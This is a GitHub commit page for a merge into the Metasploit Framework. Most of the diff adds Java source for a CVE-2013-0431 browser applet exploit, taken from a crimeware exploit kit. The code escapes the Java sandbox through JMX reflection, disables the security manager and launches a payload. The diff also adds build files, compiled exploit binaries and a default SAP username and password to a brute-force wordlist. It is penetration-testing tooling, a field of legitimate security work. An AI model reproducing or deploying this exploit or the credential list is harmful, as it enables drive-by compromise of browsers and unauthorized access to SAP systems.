Skip to content

Commit b497fdb

Browse files
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework into rapid7
2 parents ff9fc02 + 5fe2c26 commit b497fdb

File tree

17 files changed

+1049
-80
lines changed

17 files changed

+1049
-80
lines changed

data/exploits/cve-2013-0431/B.class

619 Bytes
Binary file not shown.
2.68 KB
Binary file not shown.
1.48 KB
Binary file not shown.

data/wordlists/sap_default.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ SAPCPIC ADMIN
66
EARLYWATCH SUPPORT
77
TMSADM PASSWORD
88
TMSADM ADMIN
9+
TMSADM $1Pawd2&
910
ADMIN welcome
1011
ADSUSER ch4ngeme
1112
ADS_AGENT ch4ngeme
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import java.security.AccessController;
2+
import java.security.PrivilegedExceptionAction;
3+
4+
public class B
5+
implements PrivilegedExceptionAction
6+
{
7+
public B()
8+
{
9+
try
10+
{
11+
AccessController.doPrivileged(this); } catch (Exception e) {
12+
}
13+
}
14+
15+
public Object run() {
16+
System.setSecurityManager(null);
17+
return new Object();
18+
}
19+
}
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
/*
2+
* From Paunch with love (Java 1.7.0_11 Exploit)
3+
*
4+
* Deobfuscated from Cool EK by SecurityObscurity
5+
*
6+
* https://twitter.com/SecObscurity
7+
*/
8+
import java.applet.Applet;
9+
import com.sun.jmx.mbeanserver.Introspector;
10+
import com.sun.jmx.mbeanserver.JmxMBeanServer;
11+
import com.sun.jmx.mbeanserver.MBeanInstantiator;
12+
import java.lang.invoke.MethodHandle;
13+
import java.lang.invoke.MethodHandles.Lookup;
14+
import java.lang.invoke.MethodType;
15+
import java.lang.reflect.InvocationTargetException;
16+
import java.lang.reflect.Method;
17+
import javax.management.ReflectionException;
18+
import java.io.*;
19+
import metasploit.Payload;
20+
21+
public class Exploit extends Applet
22+
{
23+
24+
public void init()
25+
{
26+
27+
try
28+
{
29+
int length;
30+
byte[] buffer = new byte[5000];
31+
ByteArrayOutputStream os = new ByteArrayOutputStream();
32+
33+
// read in the class file from the jar
34+
InputStream is = getClass().getResourceAsStream("B.class");
35+
36+
// and write it out to the byte array stream
37+
while( ( length = is.read( buffer ) ) > 0 )
38+
os.write( buffer, 0, length );
39+
40+
// convert it to a simple byte array
41+
buffer = os.toByteArray();
42+
43+
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
44+
45+
Method method = getMethod(class1, "enter", true);
46+
Object obj = method.invoke(null, new Object[0]);
47+
Method method1 = getMethod(class1, "createClassLoader", false);
48+
Object obj1 = method1.invoke(obj, new Object[1]);
49+
50+
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
51+
Method method2 = getMethod(class2, "defineClass", false);
52+
53+
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
54+
my_class.newInstance();
55+
56+
Payload.main(null);
57+
58+
}
59+
catch (Throwable localThrowable){}
60+
61+
}
62+
63+
64+
private Method getMethod(Class class1, String s, boolean flag)
65+
{
66+
try {
67+
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
68+
Method[] amethod1 = amethod;
69+
70+
for (int i = 0; i < amethod1.length; i++) {
71+
Method method = amethod1[i];
72+
String s1 = method.getName();
73+
Class[] aclass = method.getParameterTypes();
74+
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
75+
}
76+
} catch (Exception localException) { }
77+
78+
return null;
79+
}
80+
81+
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
82+
{
83+
Object obj = null;
84+
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
85+
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
86+
87+
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
88+
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
89+
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
90+
}
91+
92+
}
93+
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# rt.jar must be in the classpath!
2+
3+
CLASSES = \
4+
Exploit.java \
5+
B.java \
6+
Serializer.java
7+
8+
.SUFFIXES: .java .class
9+
.java.class:
10+
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
11+
12+
all: $(CLASSES:.java=.class)
13+
14+
install:
15+
java Serializer
16+
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
17+
mv B.class ../../../../data/exploits/cve-2013-0431/
18+
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
19+
20+
clean:
21+
rm -rf *.class
22+
rm -rf *.ser
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
import java.io.*;
2+
3+
public class Serializer {
4+
5+
public static void main(String [ ] args)
6+
{
7+
try {
8+
Exploit b=new Exploit(); // target Applet instance
9+
ByteArrayOutputStream baos=new ByteArrayOutputStream();
10+
ObjectOutputStream oos=new ObjectOutputStream(baos);
11+
oos.writeObject(b);
12+
FileOutputStream fos=new FileOutputStream("Exploit.ser");
13+
fos.write(baos.toByteArray());
14+
fos.close();
15+
} catch (Exception ex) {
16+
ex.printStackTrace();
17+
}
18+
}
19+
20+
}

lib/msf/core/db_manager.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -497,6 +497,14 @@ def module_to_details_hash(m)
497497

498498
m.targets.each_index do |i|
499499
bits << [ :target, { :index => i, :name => m.targets[i].name.to_s } ]
500+
if m.targets[i].platform
501+
m.targets[i].platform.platforms.each do |name|
502+
bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ]
503+
end
504+
end
505+
if m.targets[i].arch
506+
bits << [ :arch, { :name => m.targets[i].arch.to_s } ]
507+
end
500508
end
501509

502510
if (m.default_target)
@@ -525,7 +533,7 @@ def module_to_details_hash(m)
525533
res[:stance] = m.passive? ? "passive" : "aggressive"
526534
end
527535

528-
res[:bits] = bits
536+
res[:bits] = bits.uniq
529537

530538
res
531539
end

lib/msf/ui/console/command_dispatcher/core.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,7 @@ def commands
8989
"kill" => "Kill a job",
9090
"load" => "Load a framework plugin",
9191
"loadpath" => "Searches for and loads modules from a path",
92-
"popm" => "Pops the latest module off of the module stack and makes it active",
92+
"popm" => "Pops the latest module off the stack and makes it active",
9393
"pushm" => "Pushes the active or list of modules onto the module stack",
9494
"previous" => "Sets the previously loaded module as the current module",
9595
"quit" => "Exit the console",

0 commit comments

Comments
 (0)